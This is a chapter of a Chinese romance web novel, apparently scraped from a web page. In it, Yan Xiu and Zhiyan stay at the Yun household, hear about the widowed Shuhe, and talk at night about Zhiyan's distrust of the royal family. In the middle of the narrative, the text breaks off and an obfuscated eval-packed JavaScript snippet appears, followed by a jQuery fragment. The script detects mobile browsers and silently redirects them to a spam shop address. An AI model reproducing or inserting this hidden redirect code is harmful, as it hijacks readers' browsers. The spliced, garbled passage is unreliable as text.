跟随云祈去用饭的路上,凝固古怪的气氛萦绕在两人周围。


    “从刚才我就想问了,你们是不是吵架了?感觉你们两模样怪怪的,不像寻常夫妻,更不像王爷与王妃之间的相处。”云祈用扇子遮住嘴低声道。


    晏修瞥了他一眼,很是嫌弃的和他拉开距离,“离我远些,免得我夫人误会。”


    云祈:“……”


    “两茫苑,这名字……”


    止烟的话引得两人抬头望去。


    “是取‘十年生死两茫茫,不思量,自难忘’吗?”止烟问。


    云祈眼底划过一抹晦暗,“此院原叫琴瑟居,是我二哥二嫂的院子,我二哥离世后,便改了此名。”


    从琴瑟和鸣到生死两茫,止烟意识到自己说了不该说的。


    抱歉两个字正要说出口,晏修便道:“她还是那般吗?”


    “于她而言,这样也不错。”云祈苦笑道。


    两人的哑谜她听不懂,但是直觉告诉她,这里面有故事,而且看云祈的神情模样,里面的女子不止是他二嫂那么简单。


    一阵凉爽的风刮来,将院内放在桌面上的纸吹起,飘出了院外。


    止烟抬手抓住纸,纸上的簪花小楷娟秀,笔力却强劲,跃然纸上的文章,令止烟不住赞赏,“好!写得可真是太好了!”


    治国之策,负有良方啊!


    晏修接过来看,亦点头赞赏,这不仅仅是才女了,若是在朝堂,有此见解者,属栋梁之材。


    院门打开出来一个小丫鬟,她见是云祈,忙朝三人行礼,晏修身上的气场令她害怕,她只能求助的看向云祈:


    “三少爷,二少夫人命奴婢捡回被吹飞的纸。”


    云祈从晏修手中拿过纸递给丫鬟,随后问道:“她身子可还好?”


    “好多了,咳嗽少了些,面色也比以往红润了些。”


    “如此便好,你去吧。”


    “奴婢告退。”


    吃过晚饭,止烟走在晏修身侧,欲言又止。


    “想问什么就问吧,憋两个时辰了。”晏修语气温柔宠溺。


    “云二少夫人,文采斐然,见解独到,就这么成日把自己关在院子里,太屈才了,虽然这个想法有点天方夜谭,咱们能不能……”


    “不能。”她没说完晏修就知道她要说什么,“且不说她思亡夫成疾,不愿离开,就算她愿意离开,她是云家媳妇,云家也不会放她的。”


    止烟叹息,“我刚才听你的语气,你好像和她好像也挺熟的?”


    “书禾是外婆弟弟的嫡次孙女,也算是表妹,她幼时被挑选为小七的伴读,小七最爱粘着我,时间长了便熟悉了些。”晏修解释道。


    止烟举手,“插个题外话,那要嫁给裴凝轩的是……”


    “六公主。”


    她记得茉莉和她说过,六公主是淑妃所出,七公主是皇后所出,和晏修一母同胞。


    “你和云二夫人有亲戚关系关心她也在情理之中,那云三公子呢?云家和白家好像没有亲戚关系吧?


    额,这个要怎么说呢,就从云三公子的神情来看,不太像……”


    叔嫂之间的关系。


    “他爱书禾。”晏修直接道。


    止烟眼睛微睁,虽然她心里已有这样的猜测,但是就这么直说出来又是另外一回事。


    天色渐暗,止烟还在消化这层关系,过拱门时没注意,绊了自己一下,晏修眼疾手快的抓住她的胳膊。


    夏天衣服单薄,他手掌的温度轻而易举传给了她。


    “小心些。”他温声道。


    “没,没事。”


    止烟把手臂抽回来,嗯了一声。


    晏修的手还保持原有姿势停住,心跟着空了一块。


    想打破此刻的尴尬,止烟生硬的接之前的话题,“这么说,云二公子和云三公子都爱慕她?”


    原以为这种事情只有话本里会出现,不想竟在现实中发生了。


    “她及笄后便回了江南,江南的花神节女子可以外出玩耍求姻缘,她遇到了云晔,后来没过多久两人便成亲了,云祈心灰意冷便开始游历天下,直至前段时间才被老师叫回来编撰史书。”


    至于花神节之后发生了什么,他不甚清楚,具体经历也只有当事人最了解。


    “那云二公子,他是怎么……”


    “战死沙场。”晏修神色落寞:“差一点,他就能回来了。”


    看着自己的兄弟一个又一个离自己而去,其中滋味,他知道,止烟亦能感同身受,他们本就是同一个世界的人。


    察觉到止烟因他黯然,他恢复原有的神情,调解情绪于他而言已是家常便饭,“说到花神节,就在云珩婚后的几天,咱们玩完再回去。”


    “来得及吗?千暮的婚礼我们可不能迟了。”止烟说着,开始掰着手指头算日子。


    “来得及,我算好日子了的。”


    “那就行,江南的花神节我略有耳闻,既然来得及自是要好好玩耍一番才不虚此行。”


    她给自己和晏修倒完茶,疑惑道:“不对啊。”


    “什么不对?”晏修端起茶杯。


    “一般不都是大哥成完亲二哥才能成吗?云家最是注重礼教,怎么会允许这种事发生?”


    “之前本是要成的,但云珩一次出公差遇到泥石流,双腿再不能直立行走,便和女方退了婚,云珩也至此消沉,直至遇到现在的未过门的妻子,才得以振作。”


    “话本中的救赎文啊。”止烟一脸磕到了的表情。


    “我时常见你不是捧着兵书看便是看治国之策,何时看的话本?”晏修问道。


    额……


    好吧,都是她前世看的。


    前世被爹爹送到山上跟着师父学武,除了逢年过节,都不能下山,但是师姐能下,每次下山回来,就给她带好多好吃的还有各样式的话本。


    “你不在的时候看啊,茉莉会买那么一本两本给我看。”止烟认真道。


    怕晏修再追问下去,她连忙道:“天色不早了,我先睡了。”


    她站起身走到床榻边,突然意识到一个重要的问题。


    云府只给他们准备了一间屋子一张床!


    “你睡床,我打地铺即可。”晏修从她身后走来道。


    “别了,咱们睡床吧。”


    虽是夏天,可睡地上还是容易沾染凉气。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466847|149281||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    止烟有些难为情,但手脚还是麻利的铺好被褥,弄了个楚河汉界。


    “我们一人一边,不越界就可以了,你觉得呢?”止烟跪坐在床榻上睁着大眼睛看他。


    他忙移开眼,耳根染上红色,“行。”


    烛火熄灭,房间内陷入一片黑暗,两人的呼吸清晰可闻。


    晏修咽了一口口水,不死心再次问下午止烟还未回答的问题。


    “止烟。”


    “嗯。”止烟有些紧张。


    “白天我说的那番话,你是如何想的?”他偏头向她在的方向。


    止烟握着被子的手收紧,“我……”


    晏修没说话,等着她的下文。


    “晏修,你那番话是真心的吗?”止烟朝他的方向翻身,有些不确定,“还是……只是你为护我,说给云太傅听的?”


    “我若只是说给老师听,何须问你的想法意见。”


    心像一朵花骤然绽开,止烟在黑暗中无声的笑起来,可下一刻,她又没那么开心了,因裴家之事,对于做皇室的媳妇,她本能都有些抵触。


    她喜欢晏修不假,可这份喜欢还没到达到她可以放下皇室的芥蒂和他在一起。


    晏修从始至终都是安静着的,如止烟说的一般,他耐心极好,就这么等着她,从未说一句话。


    “我只想说,若你不是皇室之人,该多好。”止烟遗憾道。


    “我感觉到了你对皇室的抵触。”晏修淡淡道:“是因为那一旨赐婚圣旨让你反感,还是父皇对裴家的处置令你不相信父皇?又或是,还有其他原因?”


    “晏修,你战功赫赫,军功累累,有想过有一天被狡兔死走狗烹吗?”止烟重新躺回去,抬头看着床顶的床幔:


    “皇室为权为名,无所不用其极,杀父杀兄杀子,我不知该如何信任。”


    亲父子亲手足都能残忍杀害,又何况是别人。


    “我不想有一天成为朝堂斗争的牺牲品,也不希望你是。”


    “父皇和皇兄不是那样的人。”晏修现在唯一能说的只有这句话,纵然知道她不会信。


    “那裴家,怎么说?”止烟反问道:“太子现在可以对付晏倚,不代表以后不会对付你。”


    以前我不喜欢你,我可以站在旁观者的角度看待这些事,可现在,我无法再用旁观者的角度看,我也已是局中人。


    一朝被蛇咬十年怕井绳,她怕自己重蹈覆辙,也怕晏修经历她所经历过的一切,更怕他有个好歹,任务无法完成,止家没能恢复清白。


    她心里对皇室有隔阂,晏修不可能放下皇室的身份什么都不管,这一切,终究是无解的。


    “在皇室,夺嫡之争在所难免,信任更是虚无缥缈,你会有如此想法,正常不过。”晏修道突的笑道:“我打仗,是为国为民,如若有一天我真功高盖主被兔死狗烹,我也认了。”


    眼泪不自觉的从眼眶流出,流过脸颊没入枕头,止烟使劲的咬着嘴唇,不让他发现自己的异样。


    她听到了他的一声叹息,“罢了,总之你知道我对你心意就好,但我还是想问你一个问题,你对我……当真未动过心吗?”


    “动过。”